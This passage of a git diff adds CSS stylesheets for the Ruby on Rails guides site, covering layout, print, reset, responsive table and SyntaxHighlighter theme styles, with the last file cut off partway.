+  #header h1 {
+    float: none;
+  }
+}
+
+#header h1 a {
+  text-decoration: none;
+  display: block;
+  height: 77px;
+}
+
+#feature p {
+  font-size: 1.2857em;
+  margin-bottom: 0.75em;
+}
+
+ at media screen and (max-width: 480px) {
+  #feature p {
+    font-size: 1em;
+  }
+}
+
+#feature ul {margin-left: 0;}
+#feature ul li {
+  list-style: none;
+  background: url(../images/check_bullet.gif) no-repeat left 0.5em;
+  padding: 0.5em 1.75em 0.5em 1.75em;
+  font-size: 1.1428em;
+  font-weight: bold;
+}
+
+#mainCol dd, #subCol dd {
+  padding: 0.25em 0 1em;
+  border-bottom: 1px solid #CCC;
+  margin-bottom: 1em;
+  margin-left: 0;
+  /*padding-left: 28px;*/
+  padding-left: 0;
+}
+
+#mainCol dt, #subCol dt {
+  font-size: 1.2857em;
+  padding: 0.125em 0 0.25em 0;
+  margin-bottom: 0;
+  /*background: url(../images/book_icon.gif) no-repeat left top;
+  padding: 0.125em 0 0.25em 28px;*/
+}
+
+ at media screen and (max-width: 480px) {
+  #mainCol dt, #subCol dt {
+    font-size: 1em;
+  }
+}
+
+#mainCol dd.work-in-progress, #subCol dd.work-in-progress {
+  background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+  border: none;
+  padding: 1.25em 1em 1.25em 48px;
+  margin-left: 0;
+  margin-top: 0.25em;
+}
+
+#mainCol dd.kindle, #subCol dd.kindle {
+  background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+  border: none;
+  padding: 1.25em 1em 1.25em 48px;
+  margin-left: 0;
+  margin-top: 0.25em;
+}
+
+#mainCol div.warning, #subCol dd.warning {
+  background: #f9d9d8 url(../images/tab_red.gif) no-repeat left top;
+  border: none;
+  padding: 1.25em 1.25em 0.25em 48px;
+  margin-left: 0;
+  margin-top: 0.25em;
+}
+
+#subCol .chapters {color: #980905;}
+#subCol .chapters a {font-weight: bold;}
+#subCol .chapters ul a {font-weight: normal;}
+#subCol .chapters li {margin-bottom: 0.75em;}
+#subCol h3.chapter {margin-top: 0.25em;}
+#subCol h3.chapter img {vertical-align: text-bottom;}
+#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
+#subCol .chapters ul li {
+  list-style: none;
+  padding: 0 0 0 1em;
+  background: url(../images/bullet.gif) no-repeat left 0.45em;
+  margin-left: 0;
+  font-size: 1em;
+  font-weight: normal;
+}
+
+div.code_container {
+  background: #EEE url(../images/tab_grey.gif) no-repeat left top;
+  padding: 0.25em 1em 0.5em 48px;
+}
+
+.note {
+  background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
+  border: none;
+  padding: 1em 1em 0.25em 48px;
+  margin: 0.25em 0 1.5em 0;
+}
+
+.info {
+  background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
+  border: none;
+  padding: 1em 1em 0.25em 48px;
+  margin: 0.25em 0 1.5em 0;
+}
+
+#mainCol div.todo {
+  background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
+  border: none;
+  padding: 1em 1em 0.25em 48px;
+  margin: 0.25em 0 1.5em 0;
+}
+
+.note code, .info code, .todo code {border:none; background: none; padding: 0;}
+
+#mainCol ul li {
+  list-style:none;
+  background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
+  padding-left: 1em;
+  margin-left: 0;
+}
+
+#subCol .content {
+  font-size: 0.7857em;
+  line-height: 1.5em;
+}
+
+#subCol .content li {
+  font-weight: normal;
+  background: none;
+  padding: 0 0 1em;
+  font-size: 1.1667em;
+}
+
+/* Clearing
+--------------------------------------- */
+
+.clearfix:after {
+  content: ".";
+  display: block;
+  height: 0;
+  clear: both;
+  visibility: hidden;
+}
+
+.clearfix {display: inline-block;}
+* html .clearfix {height: 1%;}
+.clearfix {display: block;}
+.clear { clear:both; }
+
+/* Same bottom margin for special boxes than for regular paragraphs, this way
+intermediate whitespace looks uniform. */
+div.code_container, div.important, div.caution, div.warning, div.note, div.info {
+  margin-bottom: 1.5em;
+}
+
+/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
+spurious blank area below with the box background. */
+div.important p, div.caution p, div.warning p, div.note p, div.info p {
+  margin-bottom: 1em;
+}
+
+/* Edge Badge
+--------------------------------------- */
+
+#edge-badge {
+  position: fixed;
+  right: 0px;
+  top: 0px;
+  z-index: 100;
+  border: none;
+}
+
+/* Foundation v2.1.4 http://foundation.zurb.com */
+/* Artfully masterminded by ZURB  */
+
+table th { font-weight: bold; }
+table td, table th { padding: 9px 10px; text-align: left; }
+
+/* Mobile */
+ at media only screen and (max-width: 767px) {
+  table.responsive { margin-bottom: 0; }
+
+  .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
+  .pinned table { border-right: none; border-left: none; width: 100%; }
+  .pinned table th, .pinned table td { white-space: nowrap; }
+  .pinned td:last-child { border-bottom: 0; }
+
+  div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
+  div.table-wrapper div.scrollable table { margin-left: 35%; }
+  div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }
+
+  table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; }
+  table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; }
+
+}
diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
new file mode 100644
index 0000000..bdc8ec9
--- /dev/null
+++ b/guides/assets/stylesheets/print.css
@@ -0,0 +1,52 @@
+/* Guides.rubyonrails.org */
+/* Print.css */
+/* Created January 30, 2009 */
+/* Modified January 31, 2009
+--------------------------------------- */
+
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+
+body {
+  background: #FFF;
+  font-size: 10pt !important;
+  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
+  line-height: 1.5;
+  color: #000;
+  padding: 0 3%;
+  }
+
+.hide, .nav {
+  display: none !important;
+  }
+
+a:link, a:visited {
+  background: transparent;
+  font-weight: bold;
+  text-decoration: underline;
+  }
+
+hr {
+  background:#ccc;
+  color:#ccc;
+  width:100%;
+  height:2px;
+  margin:2em 0;
+  padding:0;
+  border:none;
+}
+
+h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
+code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline}
+
+img { float:left; margin:1.5em 1.5em 1.5em 0; }
+a img { border:none; }
+
+blockquote {
+  margin:1.5em;
+  padding:1em;
+  font-style:italic;
+  font-size:.9em;
+}
+
+.small  { font-size: .9em; }
+.large  { font-size: 1.1em; }
diff --git a/guides/assets/stylesheets/reset.css b/guides/assets/stylesheets/reset.css
new file mode 100644
index 0000000..cb14fbc
--- /dev/null
+++ b/guides/assets/stylesheets/reset.css
@@ -0,0 +1,43 @@
+/* Guides.rubyonrails.org */
+/* Reset.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+html, body, div, span, applet, object, iframe,
+h1, h2, h3, h4, h5, h6, p, blockquote, pre,
+a, abbr, acronym, address, big, cite, code,
+del, dfn, em, font, img, ins, kbd, q, s, samp,
+small, strike, strong, sub, sup, tt, var,
+b, u, i, center,
+dl, dt, dd, ol, ul, li,
+fieldset, form, label, legend,
+table, caption, tbody, tfoot, thead, tr, th, td {
+  margin: 0;
+  padding: 0;
+  border: 0;
+  outline: 0;
+  font-size: 100%;
+  background: transparent;
+}
+
+body {line-height: 1; color: black; background: white;}
+a img {border:none;}
+ins {text-decoration: none;}
+del {text-decoration: line-through;}
+
+:focus {
+  -moz-outline:0;
+  outline:0;
+  outline-offset:0;
+}
+
+/* tables still need 'cellspacing="0"' in the markup */
+table {border-collapse: collapse; border-spacing: 0;}
+caption, th, td {text-align: left; font-weight: normal;}
+
+blockquote, q {quotes: none;}
+blockquote:before, blockquote:after,
+q:before, q:after {
+  content: '';
+  content: none;
+}
diff --git a/guides/assets/stylesheets/responsive-tables.css b/guides/assets/stylesheets/responsive-tables.css
new file mode 100755
index 0000000..f5fbcbf
--- /dev/null
+++ b/guides/assets/stylesheets/responsive-tables.css
@@ -0,0 +1,50 @@
+/* Foundation v2.1.4 http://foundation.zurb.com */
+/* Artfully masterminded by ZURB  */
+
+/* -------------------------------------------------- 
+   Table of Contents
+-----------------------------------------------------
+:: Shared Styles
+:: Page Name 1
+:: Page Name 2
+*/
+
+
+/* -----------------------------------------
+   Shared Styles
+----------------------------------------- */
+
+table th { font-weight: bold; }
+table td, table th { padding: 9px 10px; text-align: left; }
+
+/* Mobile */
+ at media only screen and (max-width: 767px) {
+	
+	table { margin-bottom: 0; }
+	
+	.pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
+	.pinned table { border-right: none; border-left: none; width: 100%; }
+	.pinned table th, .pinned table td { white-space: nowrap; }
+	.pinned td:last-child { border-bottom: 0; }
+	
+	div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
+	div.table-wrapper div.scrollable table { margin-left: 35%; }
+	div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }	
+	
+	table td, table th { position: relative; white-space: nowrap; overflow: hidden; }
+	table th:first-child, table td:first-child, table td:first-child, table.pinned td { display: none; }
+	
+}
+
+/* -----------------------------------------
+   Page Name 1
+----------------------------------------- */
+
+
+
+
+/* -----------------------------------------
+   Page Name 2
+----------------------------------------- */
+
+
diff --git a/guides/assets/stylesheets/style.css b/guides/assets/stylesheets/style.css
new file mode 100644
index 0000000..89b2ab8
--- /dev/null
+++ b/guides/assets/stylesheets/style.css
@@ -0,0 +1,13 @@
+/* Guides.rubyonrails.org */
+/* Style.css */
+/* Created January 30, 2009
+--------------------------------------- */
+
+/*
+---------------------------------------
+Import advanced style sheet
+---------------------------------------
+*/
+
+ at import url("reset.css");
+ at import url("main.css");
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCore.css b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
new file mode 100644
index 0000000..34f6864
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
@@ -0,0 +1,226 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
new file mode 100644
index 0000000..08f9e10
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreDefault.css
@@ -0,0 +1,328 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #e0e0e0 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: black !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #6ce26c !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #6ce26c !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: blue !important;
+  background: white !important;
+  border: 1px solid #6ce26c !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: blue !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #6ce26c !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: black !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: blue !important;
+}
+.syntaxhighlighter .keyword {
+  color: #006699 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #006699 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
new file mode 100644
index 0000000..1db1f70
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreDjango.css
@@ -0,0 +1,331 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
